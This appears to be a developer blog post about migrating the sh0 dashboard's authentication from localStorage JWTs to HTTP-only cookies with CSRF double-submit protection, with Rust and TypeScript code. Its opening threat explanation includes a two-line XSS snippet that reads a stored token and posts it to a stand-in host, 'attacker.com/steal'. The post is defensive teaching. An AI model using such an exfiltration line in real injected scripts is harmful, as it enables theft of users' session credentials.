Back to sh0
sh0

Migrating from localStorage Tokens to HTTP-Only Cookies

How we migrated sh0's authentication from localStorage JWT tokens to HTTP-only cookies with CSRF double-submit protection -- and why every self-hosted tool should do the same.

Thales & Claude | March 25, 2026 11 min sh0
securitycookiescsrfauthenticationsvelterustweb-security

For the first eleven days of building sh0.dev, we stored JWT tokens in localStorage. It worked. The Svelte dashboard saved the token on login, attached it as a Bearer header on every API call, and passed it as a query parameter for WebSocket connections. Standard SPA authentication, the way a hundred tutorials teach it.

It is also fundamentally insecure.

On day twelve, our security audit flagged localStorage token storage as a medium finding. On day seventeen, we ripped it out entirely and replaced it with HTTP-only cookies, a refresh token flow, and CSRF double-submit protection. This article explains why localStorage is dangerous, how we migrated, and every detail of the implementation -- backend and frontend.

---

Why localStorage Tokens Are a Problem

The issue is simple: any JavaScript running on your origin can read localStorage. If an attacker finds a single XSS vulnerability -- a reflected parameter, a stored input rendered with {@html}, a compromised third-party script -- they can execute:

const token = localStorage.getItem('sh0_token');
fetch('https://attacker.com/steal', { method: 'POST', body: token });

Game over. The attacker has a valid JWT with full API access. The token works from any IP, any browser, any machine. It is valid for however long the JWT expiry allows -- in our case, initially 7 days.

HTTP-only cookies eliminate this attack vector entirely. A cookie with the HttpOnly flag cannot be read by JavaScript. It cannot be exfiltrated via XSS. The browser attaches it to requests automatically, but document.cookie returns nothing. The token exists in the browser's cookie jar, invisible to application code and invisible to injected scripts.

This is not a theoretical concern. Self-hosted tools are particularly vulnerable because they often run on internal networks where operators install browser extensions, embed third-party monitoring scripts, or access the dashboard from shared machines. A PaaS dashboard with localStorage tokens is one XSS away from full infrastructure compromise.

---

We replaced the single JWT with three cookies:

CookiePurposeFlagsExpiry
sh0_accessJWT access tokenHttpOnly, Secure, SameSite=Strict, Path=/api15 minutes
sh0_refreshRefresh tokenHttpOnly, Secure, SameSite=Strict, Path=/api/auth/refresh30 days
sh0_csrfCSRF double-submit tokenSameSite=Strict, Path=/ (readable by JS)Session

The access token is short-lived -- 15 minutes instead of the original 7 days. When it expires, the frontend silently calls /api/auth/refresh, which reads the refresh cookie, verifies it, and issues a new access token. The user never sees a login prompt unless the refresh token itself expires (30 days) or is revoked.

The sh0_csrf cookie is intentionally not HTTP-only. It needs to be readable by JavaScript so the frontend can include its value in a custom header. More on that in the CSRF section.

The Secure flag ensures cookies are only sent over HTTPS. The SameSite=Strict flag prevents the browser from sending cookies on cross-origin requests, which mitigates CSRF for GET requests and link-based attacks. But SameSite alone is not sufficient for state-changing operations -- we still need explicit CSRF protection for POST/PUT/DELETE.

---

Backend: The cookies.rs Helper Module

We created a dedicated cookies.rs module in sh0-api to centralize all cookie operations. This prevents the proliferation of raw Set-Cookie headers scattered across handler functions.

use axum::http::header::SET_COOKIE;
use axum::http::HeaderValue;

const ACCESS_COOKIE: &str = "sh0_access"; const REFRESH_COOKIE: &str = "sh0_refresh"; const CSRF_COOKIE: &str = "sh0_csrf";

pub fn set_auth_cookies( access_token: &str, refresh_token: &str, csrf_token: &str, secure: bool, ) -> Vec<(axum::http::HeaderName, HeaderValue)> { let secure_flag = if secure { "; Secure" } else { "" };

let access = format!( "{}={}; HttpOnly; SameSite=Strict; Path=/api; Max-Age=900{}", ACCESS_COOKIE, access_token, secure_flag ); let refresh = format!( "{}={}; HttpOnly; SameSite=Strict; Path=/api/auth/refresh; Max-Age=2592000{}", REFRESH_COOKIE, refresh_token, secure_flag ); let csrf = format!( "{}={}; SameSite=Strict; Path=/; Max-Age=2592000{}", CSRF_COOKIE, csrf_token, secure_flag );

vec![ (SET_COOKIE, HeaderValue::from_str(&access).unwrap()), (SET_COOKIE, HeaderValue::from_str(&refresh).unwrap()), (SET_COOKIE, HeaderValue::from_str(&csrf).unwrap()), ] }

pub fn clear_auth_cookies(secure: bool) -> Vec<(axum::http::HeaderName, HeaderValue)> { let secure_flag = if secure { "; Secure" } else { "" }; // Set Max-Age=0 to instruct the browser to delete the cookies vec![ (SET_COOKIE, HeaderValue::from_str(&format!( "{}=; HttpOnly; SameSite=Strict; Path=/api; Max-Age=0{}", ACCESS_COOKIE, secure_flag )).unwrap()), (SET_COOKIE, HeaderValue::from_str(&format!( "{}=; HttpOnly; SameSite=Strict; Path=/api/auth/refresh; Max-Age=0{}", REFRESH_COOKIE, secure_flag )).unwrap()), (SET_COOKIE, HeaderValue::from_str(&format!( "{}=; SameSite=Strict; Path=/; Max-Age=0{}", CSRF_COOKIE, secure_flag )).unwrap()), ] }

pub fn generate_csrf_token() -> String { use ring::rand::{SecureRandom, SystemRandom}; let rng = SystemRandom::new(); let mut bytes = [0u8; 32]; rng.fill(&mut bytes).expect("RNG failure"); hex::encode(bytes) }

pub fn is_secure() -> bool { // In production, cookies should always be Secure // In dev (localhost), omit Secure so cookies work over HTTP std::env::var("SH0_ENV").unwrap_or_default() != "development" } ```

The is_secure() function handles the development/production split. In development (typically http://localhost:5173), the Secure flag must be omitted or cookies will not be sent. In production, it is always set.

---

Backend: Updated Auth Handlers

Every auth endpoint that previously returned { token } in the JSON body now sets cookies instead. The JSON response changes from:

{ "token": "eyJhbG...", "user": { "id": "...", "email": "..." } }

to:

{ "user": { "id": "...", "email": "..." }, "csrf_token": "a1b2c3..." }

The actual tokens travel exclusively in Set-Cookie headers. The only value returned in the JSON body is the CSRF token, which the frontend stores in memory (not localStorage) for inclusion in request headers.

The refresh() endpoint reads the refresh token from the sh0_refresh cookie rather than expecting it in the request body. For CLI compatibility, it falls back to the request body if no cookie is present -- CLI tools cannot use cookies, so they continue to use the token-based flow with Bearer headers.

The new logout() endpoint calls clear_auth_cookies() to set Max-Age=0 on all three cookies, instructing the browser to delete them immediately.

---

CSRF Double-Submit Protection

HTTP-only cookies introduce a new problem: CSRF (Cross-Site Request Forgery). With localStorage tokens, CSRF was not a concern because the token had to be explicitly attached to each request. But cookies are attached automatically by the browser -- including on cross-origin requests initiated by malicious sites.

We use the double-submit cookie pattern:

1. On login, the server generates a random CSRF token and sets it in the sh0_csrf cookie (readable by JavaScript, not HTTP-only). 2. The frontend reads this cookie and includes its value in the X-CSRF-Token header on every state-changing request (POST, PUT, DELETE). 3. The server middleware compares the X-CSRF-Token header value against the sh0_csrf cookie value. If they match, the request is legitimate.

This works because a cross-origin attacker can cause the browser to send the cookie but cannot read it (same-origin policy). Without reading the cookie value, the attacker cannot set the matching header.

// CSRF middleware in router.rs
async fn csrf_check(req: Request, next: Next) -> Result<Response, StatusCode> {
    // Skip CSRF for safe methods and non-cookie auth
    if matches!(*req.method(), Method::GET | Method::HEAD | Method::OPTIONS) {
        return Ok(next.run(req).await);
    }

// If the request uses Bearer auth (CLI/API), skip CSRF if req.headers().get("authorization") .map(|v| v.to_str().unwrap_or("").starts_with("Bearer ")) .unwrap_or(false) { return Ok(next.run(req).await); }

let csrf_cookie = extract_cookie(req.headers(), "sh0_csrf"); let csrf_header = req.headers() .get("x-csrf-token") .and_then(|v| v.to_str().ok()) .map(String::from);

match (csrf_cookie, csrf_header) { (Some(cookie), Some(header)) if cookie == header => Ok(next.run(req).await), _ => Err(StatusCode::FORBIDDEN), } } ```

The CSRF check is skipped for requests using Bearer authentication (CLI tools and API key integrations) since those are not vulnerable to CSRF -- the attacker would need to know the API key to construct the request.

---

Frontend: Removing localStorage

The Svelte dashboard required changes across five files. The core principle: tokens no longer exist in JavaScript-accessible space.

stores/auth.svelte.ts -- The auth store was rewritten. Previously it stored token and refreshToken in localStorage. Now it stores only: - isAuthenticated (boolean, derived from the presence of the CSRF token) - csrfToken (string, held in memory only -- lost on page refresh, re-obtained via refresh endpoint) - user (object, the user profile)

// Before: tokens in localStorage
function login(token: string, refreshToken: string, user: User) {
    localStorage.setItem('sh0_token', token);
    localStorage.setItem('sh0_refresh_token', refreshToken);
    // ...
}

// After: no tokens in JavaScript function login(user: User, csrfToken: string) { csrfToken$ = csrfToken; // in-memory only isAuthenticated$ = true; // Cookies are set by the browser from Set-Cookie headers } ```

api.ts -- Every fetch call gains credentials: 'include' (required for the browser to send cookies on same-origin requests) and the X-CSRF-Token header:

async function apiCall(path: string, options: RequestInit = {}) {
    const csrf = getCsrfToken();
    return fetch(`/api${path}`, {
        ...options,
        credentials: 'include',
        headers: {
            'Content-Type': 'application/json',
            ...(csrf ? { 'X-CSRF-Token': csrf } : {}),
            ...options.headers,
        },
    });
}

The Bearer token header is completely removed. The browser handles authentication by attaching cookies.

---

WebSocket Authentication via Cookies

The original WebSocket implementation passed the JWT as a query parameter:

// Before: token in URL (visible in logs, browser history, Referer headers)
const ws = new WebSocket(`wss://sh0.example.com/api/ws/logs/${appId}?token=${token}`);

This is a security problem for three reasons: the token appears in server access logs, it is stored in browser history, and it leaks via the Referer header if the page contains external links.

With cookie-based auth, the fix is straightforward. Cookies are sent automatically during the WebSocket upgrade handshake -- no manual token attachment needed:

// After: cookies sent automatically on upgrade
const ws = new WebSocket(`wss://sh0.example.com/api/ws/logs/${appId}`);
// The browser includes sh0_access cookie in the upgrade request

On the backend, the WebSocket handler (ws.rs and terminal.rs) was updated to extract the JWT from the sh0_access cookie in the upgrade request headers, using the same extraction logic as the regular AuthUser extractor. The token priority chain is: Bearer header (for CLI WebSocket clients) then sh0_access cookie then legacy sh0_session cookie (backwards compatibility during migration).

---

The Backwards Compatibility Bridge

We could not break CLI tools that use Bearer token authentication. The migration maintains backwards compatibility through a priority chain in the AuthUser extractor:

1. Bearer header -- If present, use it (CLI tools, API integrations) 2. sh0_access cookie -- If present, use it (browser dashboard) 3. Legacy sh0_session cookie -- If present, use it (old dashboard versions during rollout) 4. API key -- If the Bearer value starts with sh0_, authenticate as API key

This means the migration is non-breaking. Existing CLI scripts continue to work. Old dashboard versions continue to work. New dashboard versions use cookies. Over time, the legacy cookie path can be removed.

---

What We Verified

After the migration, we ran:

  • cargo build -- clean compilation
  • cargo test -- 53 tests passing (integration tests updated to extract JWT from Set-Cookie headers instead of JSON body)
  • npm run build -- dashboard builds clean

The integration test update is worth noting. Previously, tests parsed the JSON response for a token field. Now they parse the Set-Cookie response header to extract the JWT. The test is more realistic -- it exercises the actual cookie-setting code path.

---

Why Every Self-Hosted Tool Should Do This

Self-hosted tools are disproportionately exposed to XSS-based token theft:

1. Operators install browser extensions on the same browser they use to manage infrastructure. Extensions run JavaScript in the page context and can read localStorage. 2. Dashboard pages often render user-provided content -- application names, log output, error messages, environment variable names. Each rendering point is a potential XSS vector. 3. Internal tools receive less security scrutiny than public-facing applications. "It is behind the VPN" is not a security model when the browser itself is the attack vector.

HTTP-only cookies do not prevent XSS. But they prevent XSS from escalating into token theft. An attacker who finds an XSS vulnerability in your dashboard can deface the page, exfiltrate visible data, and perform actions as the user during that session. But they cannot steal a persistent token that works from their own machine for the next 7 days. The blast radius is fundamentally smaller.

The migration is not trivial -- it touches auth handlers, the frontend store, every API call, WebSocket connections, and CSRF protection. But it is a one-time investment that permanently eliminates the most common authentication vulnerability class in single-page applications.

---

Key Takeaways

1. localStorage tokens are an anti-pattern. Any XSS vulnerability becomes a persistent credential theft. HTTP-only cookies prevent this entirely. 2. Short-lived access + long-lived refresh is the correct architecture. 15-minute access tokens limit the window of a stolen cookie. 30-day refresh tokens provide session persistence. 3. CSRF protection is mandatory with cookie auth. The double-submit cookie pattern is simple and effective: the server sets a readable cookie, the client echoes it in a header, the server verifies they match. 4. WebSocket auth belongs in cookies, not query parameters. Query parameters leak through logs, history, and Referer headers. Cookies are sent automatically during the upgrade handshake. 5. Maintain backwards compatibility. A priority chain in the auth extractor (Bearer > cookie > legacy cookie > API key) makes the migration non-breaking for CLI tools and old clients.

---

Next in the series: Preventing Command Injection in a PaaS -- the hardest security problem when your platform exists to run user-provided commands.

Share this article:

Responses

Write a response
0/2000
Loading responses...

Related Articles